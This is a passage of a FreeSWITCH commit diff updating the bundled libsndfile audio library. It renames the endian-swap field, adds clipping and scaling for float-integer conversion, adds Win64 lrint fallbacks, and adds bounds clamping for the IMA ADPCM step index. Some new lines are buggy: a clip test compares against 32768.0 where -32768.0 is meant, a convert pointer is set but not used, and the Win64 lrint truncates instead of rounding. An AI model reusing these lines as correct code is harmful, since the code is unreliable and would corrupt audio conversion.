 		{	case (SF_ENDIAN_LITTLE + FLOAT_CAN_RW_LE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->write_short	= host_write_s2f ;
 					psf->write_int		= host_write_i2f ;
 					psf->write_float	= host_write_f ;
@@ -173,7 +174,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + FLOAT_CAN_RW_BE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->write_short	= host_write_s2f ;
 					psf->write_int		= host_write_i2f ;
 					psf->write_float	= host_write_f ;
@@ -181,7 +182,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + FLOAT_CAN_RW_LE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->write_short	= host_write_s2f ;
 					psf->write_int		= host_write_i2f ;
 					psf->write_float	= host_write_f ;
@@ -189,7 +190,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + FLOAT_CAN_RW_BE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->write_short	= host_write_s2f ;
 					psf->write_int		= host_write_i2f ;
 					psf->write_float	= host_write_f ;
@@ -198,7 +199,7 @@
 
 			/* When the CPU is not IEEE compatible. */
 			case (SF_ENDIAN_BIG + FLOAT_BROKEN_LE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->write_short	= replace_write_s2f ;
 					psf->write_int		= replace_write_i2f ;
 					psf->write_float	= replace_write_f ;
@@ -206,7 +207,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + FLOAT_BROKEN_LE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->write_short	= replace_write_s2f ;
 					psf->write_int		= replace_write_i2f ;
 					psf->write_float	= replace_write_f ;
@@ -214,7 +215,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + FLOAT_BROKEN_BE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->write_short	= replace_write_s2f ;
 					psf->write_int		= replace_write_i2f ;
 					psf->write_float	= replace_write_f ;
@@ -222,7 +223,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + FLOAT_BROKEN_BE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->write_short	= replace_write_s2f ;
 					psf->write_int		= replace_write_i2f ;
 					psf->write_float	= replace_write_f ;
@@ -266,9 +267,9 @@
 		fvalue *= -1 ;
 
 	if (exponent > 0)
-		fvalue *= (1 << exponent) ;
+		fvalue *= pow (2.0, exponent) ;
 	else if (exponent < 0)
-		fvalue /= (1 << abs (exponent)) ;
+		fvalue /= pow (2.0, abs (exponent)) ;
 
 	return fvalue ;
 } /* float32_be_read */
@@ -294,9 +295,9 @@
 		fvalue *= -1 ;
 
 	if (exponent > 0)
-		fvalue *= (1 << exponent) ;
+		fvalue *= pow (2.0, exponent) ;
 	else if (exponent < 0)
-		fvalue /= (1 << abs (exponent)) ;
+		fvalue /= pow (2.0, abs (exponent)) ;
 
 	return fvalue ;
 } /* float32_le_read */
@@ -428,13 +429,28 @@
 /*=======================================================================================
 */
 
-static inline void
+static void
 f2s_array (const float *src, int count, short *dest, float scale)
-{	while (--count >= 0)
+{
+	while (--count >= 0)
 	{	dest [count] = lrintf (scale * src [count]) ;
 		} ;
 } /* f2s_array */
 
+static void
+f2s_clip_array (const float *src, int count, short *dest, float scale)
+{	while (--count >= 0)
+	{	float tmp = scale * src [count] ;
+
+		if (CPU_CLIPS_POSITIVE == 0 && tmp > 32767.0)
+			dest [count] = SHRT_MAX ;
+		else if (CPU_CLIPS_NEGATIVE == 0 && tmp < 32768.0)
+			dest [count] = SHRT_MIN ;
+		else
+			dest [count] = lrintf (tmp) ;
+		} ;
+} /* f2s_clip_array */
+
 static inline void
 f2i_array (const float *src, int count, int *dest, float scale)
 {	while (--count >= 0)
@@ -443,6 +459,20 @@
 } /* f2i_array */
 
 static inline void
+f2i_clip_array (const float *src, int count, int *dest, float scale)
+{	while (--count >= 0)
+	{	float tmp = scale * src [count] ;
+
+		if (CPU_CLIPS_POSITIVE == 0 && tmp > (1.0 * INT_MAX))
+			dest [count] = INT_MAX ;
+		else if (CPU_CLIPS_NEGATIVE == 0 && tmp < (-1.0 * INT_MAX))
+			dest [count] = INT_MIN ;
+		else
+			dest [count] = lrintf (tmp) ;
+		} ;
+} /* f2i_clip_array */
+
+static inline void
 f2d_array (const float *src, int count, double *dest)
 {	while (--count >= 0)
 	{	dest [count] = src [count] ;
@@ -450,17 +480,16 @@
 } /* f2d_array */
 
 static inline void
-s2f_array (const short *src, float *dest, int count)
+s2f_array (const short *src, float *dest, int count, float scale)
 {	while (--count >= 0)
-	{	dest [count] = src [count] ;
+	{	dest [count] = scale * src [count] ;
 		} ;
-
 } /* s2f_array */
 
 static inline void
-i2f_array (const int *src, float *dest, int count)
+i2f_array (const int *src, float *dest, int count, float scale)
 {	while (--count >= 0)
-	{	dest [count] = src [count] ;
+	{	dest [count] = scale * src [count] ;
 		} ;
 } /* i2f_array */
 
@@ -476,10 +505,12 @@
 
 static sf_count_t
 host_read_f2s	(SF_PRIVATE *psf, short *ptr, sf_count_t len)
-{	int			bufferlen, readcount ;
+{	void		(*convert) (const float *, int, short *, float) ;
+	int			bufferlen, readcount ;
 	sf_count_t	total = 0 ;
 	float		scale ;
 
+	convert = (psf->add_clipping) ? f2s_clip_array : f2s_array ;
 	bufferlen = ARRAY_LEN (psf->u.fbuf) ;
 	scale = (psf->float_int_mult == 0) ? 1.0 : 0x7FFF / psf->float_max ;
 
@@ -489,7 +520,7 @@
 		readcount = psf_fread (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
 
 /* Fix me : Need lef2s_array */
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		f2s_array (psf->u.fbuf, readcount, ptr + total, scale) ;
@@ -504,10 +535,12 @@
 
 static sf_count_t
 host_read_f2i	(SF_PRIVATE *psf, int *ptr, sf_count_t len)
-{	int			bufferlen, readcount ;
+{	void		(*convert) (const float *, int, int *, float) ;
+	int			bufferlen, readcount ;
 	sf_count_t	total = 0 ;
 	float		scale ;
 
+	convert = (psf->add_clipping) ? f2i_clip_array : f2i_array ;
 	bufferlen = ARRAY_LEN (psf->u.fbuf) ;
 	scale = (psf->float_int_mult == 0) ? 1.0 : 0x7FFFFFFF / psf->float_max ;
 
@@ -516,10 +549,10 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
-		f2i_array (psf->u.fbuf, readcount, ptr + total, scale) ;
+		convert (psf->u.fbuf, readcount, ptr + total, scale) ;
 		total += readcount ;
 		if (readcount < bufferlen)
 			break ;
@@ -534,7 +567,7 @@
 {	int			bufferlen, readcount ;
 	sf_count_t	total = 0 ;
 
-	if (psf->float_endswap != SF_TRUE)
+	if (psf->data_endswap != SF_TRUE)
 		return psf_fread (ptr, sizeof (float), len, psf) ;
 
 	bufferlen = ARRAY_LEN (psf->u.fbuf) ;
@@ -567,7 +600,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 /* Fix me : Need lef2d_array */
@@ -585,18 +618,21 @@
 host_write_s2f	(SF_PRIVATE *psf, const short *ptr, sf_count_t len)
 {	int			bufferlen, writecount ;
 	sf_count_t	total = 0 ;
+	float		scale ;
 
+/* Erik */
+	scale = (psf->scale_int_float == 0) ? 1.0 : 1.0 / 0x8000 ;
 	bufferlen = ARRAY_LEN (psf->u.fbuf) ;
 
 	while (len > 0)
 	{	if (len < bufferlen)
 			bufferlen = (int) len ;
-		s2f_array (ptr + total, psf->u.fbuf, bufferlen) ;
+		s2f_array (ptr + total, psf->u.fbuf, bufferlen, scale) ;
 
 		if (psf->peak_info)
 			float32_peak_update (psf, psf->u.fbuf, bufferlen, total / psf->sf.channels) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
@@ -613,18 +649,20 @@
 host_write_i2f	(SF_PRIVATE *psf, const int *ptr, sf_count_t len)
 {	int			bufferlen, writecount ;
 	sf_count_t	total = 0 ;
+	float		scale ;
 
+	scale = (psf->scale_int_float == 0) ? 1.0 : 1.0 / (8.0 * 0x10000000) ;
 	bufferlen = ARRAY_LEN (psf->u.fbuf) ;
 
 	while (len > 0)
 	{	if (len < bufferlen)
 			bufferlen = (int) len ;
-		i2f_array (ptr + total, psf->u.fbuf, bufferlen) ;
+		i2f_array (ptr + total, psf->u.fbuf, bufferlen, scale) ;
 
 		if (psf->peak_info)
 			float32_peak_update (psf, psf->u.fbuf, bufferlen, total / psf->sf.channels) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.fbuf, sizeof (float) , bufferlen, psf) ;
@@ -645,7 +683,7 @@
 	if (psf->peak_info)
 		float32_peak_update (psf, ptr, len, 0) ;
 
-	if (psf->float_endswap != SF_TRUE)
+	if (psf->data_endswap != SF_TRUE)
 		return psf_fwrite (ptr, sizeof (float), len, psf) ;
 
 	bufferlen = ARRAY_LEN (psf->u.fbuf) ;
@@ -682,7 +720,7 @@
 		if (psf->peak_info)
 			float32_peak_update (psf, psf->u.fbuf, bufferlen, total / psf->sf.channels) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
@@ -712,7 +750,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		bf2f_array (psf->u.fbuf, bufferlen) ;
@@ -741,7 +779,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		bf2f_array (psf->u.fbuf, bufferlen) ;
@@ -770,7 +808,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		bf2f_array (psf->u.fbuf, bufferlen) ;
@@ -798,7 +836,7 @@
 			bufferlen = (int) len ;
 		readcount = psf_fread (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		bf2f_array (psf->u.fbuf, bufferlen) ;
@@ -817,20 +855,22 @@
 replace_write_s2f	(SF_PRIVATE *psf, const short *ptr, sf_count_t len)
 {	int			bufferlen, writecount ;
 	sf_count_t	total = 0 ;
+	float		scale ;
 
+	scale = (psf->scale_int_float == 0) ? 1.0 : 1.0 / 0x8000 ;
 	bufferlen = ARRAY_LEN (psf->u.fbuf) ;
 
 	while (len > 0)
 	{	if (len < bufferlen)
 			bufferlen = (int) len ;
-		s2f_array (ptr + total, psf->u.fbuf, bufferlen) ;
+		s2f_array (ptr + total, psf->u.fbuf, bufferlen, scale) ;
 
 		if (psf->peak_info)
 			float32_peak_update (psf, psf->u.fbuf, bufferlen, total / psf->sf.channels) ;
 
 		f2bf_array (psf->u.fbuf, bufferlen) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
@@ -847,20 +887,22 @@
 replace_write_i2f	(SF_PRIVATE *psf, const int *ptr, sf_count_t len)
 {	int			bufferlen, writecount ;
 	sf_count_t	total = 0 ;
+	float		scale ;
 
+	scale = (psf->scale_int_float == 0) ? 1.0 : 1.0 / (8.0 * 0x10000000) ;
 	bufferlen = ARRAY_LEN (psf->u.fbuf) ;
 
 	while (len > 0)
 	{	if (len < bufferlen)
 			bufferlen = (int) len ;
-		i2f_array (ptr + total, psf->u.fbuf, bufferlen) ;
+		i2f_array (ptr + total, psf->u.fbuf, bufferlen, scale) ;
 
 		if (psf->peak_info)
 			float32_peak_update (psf, psf->u.fbuf, bufferlen, total / psf->sf.channels) ;
 
 		f2bf_array (psf->u.fbuf, bufferlen) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
@@ -892,7 +934,7 @@
 
 		f2bf_array (psf->u.fbuf, bufferlen) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.fbuf, sizeof (float) , bufferlen, psf) ;
@@ -922,7 +964,7 @@
 
 		f2bf_array (psf->u.fbuf, bufferlen) ;
 
-		if (psf->float_endswap == SF_TRUE)
+		if (psf->data_endswap == SF_TRUE)
 			endswap_int_array (psf->u.ibuf, bufferlen) ;
 
 		writecount = psf_fwrite (psf->u.fbuf, sizeof (float), bufferlen, psf) ;
@@ -952,10 +994,3 @@
 		} ;
 } /* f2bf_array */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: b6c34917-488c-4145-9648-f4371fc4c889
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/float_cast.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/float_cast.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/float_cast.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -121,7 +121,7 @@
 		return retval ;
 	} /* float2int */
 
-#elif (defined (WIN32) || defined (_WIN32))
+#elif (defined (WIN32) || defined (_WIN32)) && !defined(_WIN64)
 
 	#undef		HAVE_LRINT_REPLACEMENT
 	#define		HAVE_LRINT_REPLACEMENT	1
@@ -157,6 +157,15 @@
 		return intgr ;
 	}
 
+#elif defined(_WIN64)
+    __inline long int lrint(double x)
+    {
+        return (long int) (x);
+    }
+    __inline long int lrintf(float x)
+    {
+        return (long int) (x);
+    }
 #elif (defined (__MWERKS__) && defined (macintosh))
 
 	/* This MacOS 9 solution was provided by Stephane Letz */

Modified: freeswitch/branches/seven/libs/libsndfile/src/g72x.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/g72x.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/g72x.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -21,10 +21,10 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <math.h>
 
 #include "sndfile.h"
 #include "sfendian.h"
-#include "float_cast.h"
 #include "common.h"
 #include "G72x/g72x.h"
 
@@ -90,7 +90,7 @@
 	pg72x->block_curr = 0 ;
 	pg72x->sample_curr = 0 ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_G721_32 :
 				codec = G721_32_BITS_PER_SAMPLE ;
 				bytesperblock = G721_32_BYTES_PER_BLOCK ;
@@ -343,12 +343,8 @@
 } /* g72x_read_d */
 
 static sf_count_t
-g72x_seek (SF_PRIVATE *psf, int mode, sf_count_t offset)
+g72x_seek (SF_PRIVATE *psf, int UNUSED (mode), sf_count_t UNUSED (offset))
 {
-	/* Prevent compiler warnings. */
-	mode ++ ;
-	offset ++ ;
-
 	psf_log_printf (psf, "seek unsupported\n") ;
 
 	/*	No simple solution. To do properly, would need to seek
@@ -606,10 +602,3 @@
 	return 0 ;
 } /* g72x_close */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 3cc5439e-7247-486b-b2e6-11a4affa5744
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/gsm610.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/gsm610.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/gsm610.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -21,10 +21,10 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <math.h>
 
 #include "sndfile.h"
 #include "sfendian.h"
-#include "float_cast.h"
 #include "common.h"
 #include "wav_w64.h"
 #include "GSM610/gsm.h"
@@ -105,7 +105,7 @@
 	if ((pgsm610->gsm_data = gsm_create ()) == NULL)
 		return SFE_MALLOC_FAILED ;
 
-	switch (psf->sf.format & SF_FORMAT_TYPEMASK)
+	switch (SF_CONTAINER (psf->sf.format))
 	{	case SF_FORMAT_WAV :
 		case SF_FORMAT_WAVEX :
 		case SF_FORMAT_W64 :
@@ -152,6 +152,8 @@
 
 		psf->sf.frames = pgsm610->samplesperblock * pgsm610->blocks ;
 
+		psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
+
 		pgsm610->decode_block (psf, pgsm610) ;	/* Read first block. */
 
 		psf->read_short		= gsm610_read_s ;
@@ -200,12 +202,12 @@
 		psf_log_printf (psf, "*** Warning : short read (%d != %d).\n", k, WAV_W64_GSM610_BLOCKSIZE) ;
 
 	if (gsm_decode (pgsm610->gsm_data, pgsm610->block, pgsm610->samples) < 0)
-	{	psf_log_printf (psf, "Error from gsm_decode() on frame : %d\n", pgsm610->blockcount) ;
+	{	psf_log_printf (psf, "Error from WAV gsm_decode() on frame : %d\n", pgsm610->blockcount) ;
 		return 0 ;
 		} ;
 
 	if (gsm_decode (pgsm610->gsm_data, pgsm610->block + (WAV_W64_GSM610_BLOCKSIZE + 1) / 2, pgsm610->samples + WAV_W64_GSM610_SAMPLES / 2) < 0)
-	{	psf_log_printf (psf, "Error from gsm_decode() on frame : %d.5\n", pgsm610->blockcount) ;
+	{	psf_log_printf (psf, "Error from WAV gsm_decode() on frame : %d.5\n", pgsm610->blockcount) ;
 		return 0 ;
 		} ;
 
@@ -228,7 +230,7 @@
 		psf_log_printf (psf, "*** Warning : short read (%d != %d).\n", k, GSM610_BLOCKSIZE) ;
 
 	if (gsm_decode (pgsm610->gsm_data, pgsm610->block, pgsm610->samples) < 0)
-	{	psf_log_printf (psf, "Error from gsm_decode() on frame : %d\n", pgsm610->blockcount) ;
+	{	psf_log_printf (psf, "Error from standard gsm_decode() on frame : %d\n", pgsm610->blockcount) ;
 		return 0 ;
 		} ;
 
@@ -367,12 +369,10 @@
 } /* gsm610_read_d */
 
 static sf_count_t
-gsm610_seek	(SF_PRIVATE *psf, int mode, sf_count_t offset)
+gsm610_seek	(SF_PRIVATE *psf, int UNUSED (mode), sf_count_t offset)
 {	GSM610_PRIVATE *pgsm610 ;
 	int			newblock, newsample ;
 
-	mode = mode ;
-
 	if (psf->codec_data == NULL)
 		return 0 ;
 	pgsm610 = (GSM610_PRIVATE*) psf->codec_data ;
@@ -389,8 +389,8 @@
 		pgsm610->blockcount = 0 ;
 
 		gsm_init (pgsm610->gsm_data) ;
-		if ((psf->sf.format & SF_FORMAT_TYPEMASK) == SF_FORMAT_WAV ||
-				(psf->sf.format & SF_FORMAT_TYPEMASK) == SF_FORMAT_W64)
+		if ((SF_CONTAINER (psf->sf.format)) == SF_FORMAT_WAV ||
+				(SF_CONTAINER (psf->sf.format)) == SF_FORMAT_W64)
 			gsm_option (pgsm610->gsm_data, GSM_OPT_WAV49, &true_flag) ;
 
 		pgsm610->decode_block (psf, pgsm610) ;
@@ -619,10 +619,3 @@
 	return 0 ;
 } /* gsm610_close */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 8575187d-af4f-4acf-b9dd-6ff705628345
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/htk.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/htk.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/htk.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -60,10 +60,10 @@
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-	{	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_HTK)
+	{	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_HTK)
 			return	SFE_BAD_OPEN_FORMAT ;
 
 		psf->endian = SF_ENDIAN_BIG ;
@@ -216,10 +216,4 @@
 
 	return 0 ;
 } /* htk_read_header */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: c350e972-082e-4c20-8934-03391a723560
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/ima_adpcm.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/ima_adpcm.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/ima_adpcm.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -21,10 +21,10 @@
 #include	<stdio.h>
 #include	<stdlib.h>
 #include	<string.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
-#include	"float_cast.h"
 #include	"common.h"
 
 typedef struct IMA_ADPCM_PRIVATE_tag
@@ -93,6 +93,16 @@
 static int aiff_ima_encode_block (SF_PRIVATE *psf, IMA_ADPCM_PRIVATE *pima) ;
 
 
+static inline int
+clamp_ima_step_index (int indx)
+{	if (indx < 0)
+		return 0 ;
+	if (indx >= ARRAY_LEN (ima_step_size))
+		return ARRAY_LEN (ima_step_size) - 1 ;
+
+	return indx ;
+} /* clamp_ima_step_index */
+
 /*============================================================================================
 ** IMA ADPCM Reader initialisation function.
 */
@@ -194,18 +204,25 @@
 	psf->datalength = (psf->dataend) ? psf->dataend - psf->dataoffset :
 							psf->filelength - psf->dataoffset ;
 
+    if (pima->blocksize == 0)
+	{	psf_log_printf (psf, "*** Error : pima->blocksize should not be zero.\n") ;
+		return SFE_INTERNAL ;
+		} ;
+
 	if (psf->datalength % pima->blocksize)
 		pima->blocks = psf->datalength / pima->blocksize + 1 ;
 	else
 		pima->blocks = psf->datalength / pima->blocksize ;
 
-	switch (psf->sf.format & SF_FORMAT_TYPEMASK)
+	switch (SF_CONTAINER (psf->sf.format))
 	{	case SF_FORMAT_WAV :
 		case SF_FORMAT_W64 :
 				count = 2 * (pima->blocksize - 4 * pima->channels) / pima->channels + 1 ;
 
 				if (pima->samplesperblock != count)
-					psf_log_printf (psf, "*** Warning : samplesperblock should be %d.\n", count) ;
+				{	psf_log_printf (psf, "*** Error : samplesperblock should be %d.\n", count) ;
+					return SFE_INTERNAL ;
+					} ;
 
 				pima->decode_block = wav_w64_ima_decode_block ;
 
@@ -260,17 +277,10 @@
 		sampledata = pima->samples + chan ;
 
 		predictor = (blockdata [0] << 8) | (blockdata [1] & 0x80) ;
+
 		stepindx = blockdata [1] & 0x7F ;
+		stepindx = clamp_ima_step_index (stepindx) ;
 
-{
-if (count < 5)
-printf ("\nchan: %d    predictor: %d    stepindx: %d (%d)\n",
-	chan, predictor, stepindx, ima_step_size [stepindx]) ;
-}
-		/* FIXME : Do this a better way. */
-		if (stepindx < 0) stepindx = 0 ;
-		else if (stepindx > 88)	stepindx = 88 ;
-
 		/*
 		**	Pull apart the packed 4 bit samples and store them in their
 		**	correct sample positions.
@@ -288,10 +298,8 @@
 			bytecode = pima->samples [pima->channels * k + chan] ;
 
 			stepindx += ima_indx_adjust [bytecode] ;
+			stepindx = clamp_ima_step_index (stepindx) ;
 
-			if (stepindx < 0) stepindx = 0 ;
-			else if (stepindx > 88) stepindx = 88 ;
-
 			diff = step >> 3 ;
 			if (bytecode & 1)	diff += step >> 2 ;
 			if (bytecode & 2)	diff += step >> 1 ;
@@ -299,18 +307,10 @@
 			if (bytecode & 8)	diff = -diff ;
 
 			predictor += diff ;
-
 			pima->samples [pima->channels * k + chan] = predictor ;
 			} ;
 		} ;
 
-if (count < 5)
-{
-	for (k = 0 ; k < 10 ; k++)
-		printf ("% 7d,", pima->samples [k]) ;
-	puts ("") ;
-}
-
 	return 1 ;
 } /* aiff_ima_decode_block */
 
@@ -319,14 +319,6 @@
 {	int		chan, k, step, diff, vpdiff, blockindx, indx ;
 	short	bytecode, mask ;
 
-static int count = 0 ;
-if (0 && count == 0)
-{	pima->samples [0] = 0 ;
-	printf ("blocksize : %d\n", pima->blocksize) ;
-	printf ("pima->stepindx [0] : %d\n", pima->stepindx [0]) ;
-	}
-count ++ ;
-
 	/* Encode the block header. */
 	for (chan = 0 ; chan < pima->channels ; chan ++)
 	{	blockindx = chan * pima->blocksize ;
@@ -372,11 +364,8 @@
 			pima->previous [chan] = -32768 ;
 
 		pima->stepindx [chan] += ima_indx_adjust [bytecode] ;
-		if (pima->stepindx [chan] < 0)
-			pima->stepindx [chan] = 0 ;
-		else if (pima->stepindx [chan] > 88)
-			pima->stepindx [chan] = 88 ;
 
+		pima->stepindx [chan] = clamp_ima_step_index (pima->stepindx [chan]) ;
 		pima->samples [k] = bytecode ;
 		} ;
 
@@ -386,9 +375,6 @@
 	{	for (indx = pima->channels ; indx < pima->channels * pima->samplesperblock ; indx += 2 * pima->channels)
 		{	blockindx = chan * pima->blocksize + 2 + indx / 2 ;
 
-if (0 && count ++ < 5)
-	printf ("chan: %d    blockindx: %3d    indx: %3d\n", chan, blockindx, indx) ;
-
 			pima->block [blockindx] = pima->samples [indx] & 0x0F ;
 			pima->block [blockindx] |= (pima->samples [indx + pima->channels] << 4) & 0xF0 ;
 			} ;
@@ -430,11 +416,9 @@
 			current -= 0x10000 ;
 
 		stepindx [chan] = pima->block [chan*4+2] ;
-		if (stepindx [chan] < 0)
-			stepindx [chan] = 0 ;
-		else if (stepindx [chan] > 88)
-			stepindx [chan] = 88 ;
+		stepindx [chan] = clamp_ima_step_index (stepindx [chan]) ;
 
+
 		if (pima->block [chan*4+3] != 0)
 			psf_log_printf (psf, "IMA ADPCM synchronisation error.\n") ;
 
@@ -491,12 +475,8 @@
 			current = -32768 ;
 
 		stepindx [chan] += ima_indx_adjust [bytecode] ;
+		stepindx [chan] = clamp_ima_step_index (stepindx [chan]) ;
 
-		if (stepindx [chan] < 0)
-			stepindx [chan] = 0 ;
-		else if (stepindx [chan] > 88)
-			stepindx [chan] = 88 ;
-
 		pima->samples [k] = current ;
 		} ;
 
@@ -555,10 +535,7 @@
 			pima->previous [chan] = -32768 ;
 
 		pima->stepindx [chan] += ima_indx_adjust [bytecode] ;
-		if (pima->stepindx [chan] < 0)
-			pima->stepindx [chan] = 0 ;
-		else if (pima->stepindx [chan] > 88)
-			pima->stepindx [chan] = 88 ;
+		pima->stepindx [chan] = clamp_ima_step_index (pima->stepindx [chan]) ;
 
 		pima->samples [k] = bytecode ;
 		} ;
@@ -806,7 +783,7 @@
 
 	pima->samplecount = 0 ;
 
-	switch (psf->sf.format & SF_FORMAT_TYPEMASK)
+	switch (SF_CONTAINER (psf->sf.format))
